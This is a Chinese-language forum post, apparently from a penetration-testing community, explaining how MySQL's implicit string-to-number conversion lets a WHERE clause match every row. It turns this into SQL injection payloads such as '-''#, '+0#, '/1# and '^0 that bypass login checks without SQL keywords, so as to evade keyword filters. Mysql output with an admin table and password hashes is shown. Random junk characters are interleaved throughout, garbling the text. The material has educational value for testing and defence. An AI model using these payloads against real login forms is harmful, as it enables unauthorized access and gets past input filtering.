| 我们先来看这样一个场景。- \0 C, v. [( t: T2 H 有以下表结构: : A; J! d/ v. }6 U$ `# r mysql> desc admin;7 i3 k5 g6 I& | y/ } +----------+--------------+------+-----+---------+----------------+9 `$ X4 o; Z& |# l6 L- M4 { | Field | Type | Null | Key | Default | Extra | +----------+--------------+------+-----+---------+----------------+ | id | mediumint(9) | NO | PRI | NULL | auto_increment |) S' F" \5 x6 w7 J, ], ` | name | char(32) | NO | UNI | NULL | | | password | char(32) | NO | UNI | NULL | |, e, ^# F# z0 E y +----------+--------------+------+-----+---------+----------------+ 3 rows in set (0.00 sec)0 h* H% G5 E/ \( I' i) y 执行select * from admin;,成功返回所有记录内容。% _* M, {9 ]7 ?; e+ M # d8 ^9 g( _# Y8 N$ J- r ( w- y+ G6 n; q +----+--------+----------------------------------+% f" ^% T8 s7 o( N | id | name | password |7 m: T9 ~% F; N L- ~ +----+--------+----------------------------------+ | 1 | admin | c6dabaeeb05f2bf8690bab15e3afb022 |6 p* l! n4 R u; ]1 ~1 ` | 2 | pnig0s | 998976f44e2a668k5dc21e54b3401645 |; T, L0 o. v4 ?, z' Q1 O | 4 | n00b | ff80e8508d39047460921792273533a4 | +----+--------+----------------------------------+ 3 rows in set (0.00 sec) 执行select * from admin where name=”;,没有匹配到任何记录。 ; z6 r* J! { f 9 U% q m3 D( C! q/ Y4 T( L+ u6 t mysql> select * from admin where name = ''; Empty set (0.00 sec)4 c% D. R9 r& G6 Y+ W5 J% v 那么我们来执行select * from admin where name = ”-”; ' ]- M% \7 E C3 T# A9 Q3 x. S( n 0 u% ~4 h1 U7 N% ]) j+ @ +----+--------+----------------------------------+ | id | name | password | ]2 F. U* d* a3 H4 K +----+--------+----------------------------------+ | 1 | admin | c6dabaeeb05f2bf8690bab15e3afb022 | | 2 | pnig0s | 998976f44e2a668k5dc21e54b3401645 |' p/ ^/ m t9 \0 S | 4 | n00b | ff80e8508d39047460921792273533a4 |; J0 C; q3 ?' f +----+--------+----------------------------------+* @$ Y: v* ~4 _ 3 rows in set, 3 warnings (0.00 sec)4 [) B8 X# g, H 可以看到,也成功返回了所有记录,但是有三个warnings,我们看下警告信息: 0 H$ h" _0 E6 j% } 0 y* Z2 _& `7 t3 Y mysql> show warnings; +---------+------+------------------------------------------+ s) z3 a! l2 P9 _) R8 v& n3 [ e | Level | Code | Message$ b+ Y# G' J7 O2 f" h/ t +---------+------+------------------------------------------0 F. k0 e, k% b+ [ | Warning | 1292 | Truncated incorrect DOUBLE value: 'admin# l+ U3 c- s0 g* }5 P1 s* u | Warning | 1292 | Truncated incorrect DOUBLE value: 'pnig0s8 c7 N, z( Z) u) F | Warning | 1292 | Truncated incorrect DOUBLE value: 'n00b +---------+------+------------------------------------------ 3 rows in set (0.00 sec) 提示截断了错误的DOUBLE值’admin等等,当在一个字符串类型的列中使用数字类型的值时会产生这类警告。 我们单独执行select ”-”;看下结果。 5 D) o$ e L0 K5 P: @: p O . N9 _1 P5 m9 o- D3 Y/ G0 j0 p mysql> select ''-'';, b$ H I. i- b! g* `2 o +-------++ n) |2 k t( E$ u, C | ''-'' |3 x5 Z! k$ U. C, A9 R; k6 y6 h +-------+9 h; R M' ?* F6 } | 0 | +-------+) W! V" t: \' Z1 k' J 1 row in set (0.00 sec)0 d$ l J R& H7 b6 ? 返回0,也就是说我们查询的每一行的name子段都会和0做对比,这样就会触发一个类型转换,对name字段转换的结果也必然为0: , ?, L/ r$ J3 m# _ mysql> select CAST((select name from admin limit 1,1) as DECIMAL);9 U! y* {) b+ O +-----------------------------------------------------+2 G, u8 S: P5 K7 a- X | CAST((select name from admin limit 1,1) as DECIMAL) |. n7 e* G$ c4 Q& ^. O# Q$ c +-----------------------------------------------------+ | 0 | +-----------------------------------------------------+( y2 }% I+ R) X: ]5 m9 e 1 row in set, 1 warning (0.00 sec) 因此where语句构成了相等的条件,where 0=”=”,记录被返回。 / g# n Y6 @! B# X& ^1 u) J * }2 b6 Z5 F. g( l) l SQL注入场景: http://www.sqlzoo.net/hack/ 5 V& E& O: ? d' s Z9 v7 C, r 如果我们想绕过登录验证,上面已经给出了一个传统的tips:用户名密码均为’ or ”=’ 这样的逻辑和绕过方式很常见,这里不再具体解释了。 0 z o2 u t0 [5 e" W% o 那么通过这次发现的技巧,可以使用一种相当精巧的方式,且避免使用SQL关键字,来绕过登录。 & g x" l, L7 u( {' M. c 6 D1 W! x- }* J$ o7 X' N 仅仅在name子段输入’-”#,password留空,即可绕过登录验证。 6 E, D/ Q8 Q3 k4 U, b( v7 E" } 8 O; W& v5 x0 q( s/ U e: V& ] 9 Q3 B8 Z& p( u2 X" x3 T; j+ l0 ~. o 除了”-”,其他运算符”+”,”*”,”^”都会有同样的效果。 再继续进行测试,我们发现只要在闭合单引号的情况系构造查询结果为0的条件即可3 C% Y: [1 i( i# O* [ D. w mysql> select ''/1;4 q" a) @' R8 H +------+/ t5 p/ s D! w) y | ''/1 |9 ? f t- O' Y9 v, _ +------+ | 0 |/ x8 p% z; p3 G& |/ U' ? +------+ 1 row in set (0.00 sec) 类似的”+0,”-0,”*0,”^0均可。 那么刚才的注入环境我们使用以下的精简payload同样可以绕过登录认证: ‘+0#,’/1#,’^0,’-0#等等。 4 a( S7 h( w d$ B4 t+ C' t 利用这样一种特性,当目标对注入语句中的SQL关键字进行过滤时,便可通过这样一种方式进行Bypass。 |
| 欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/) | Powered by Discuz! X3.2 |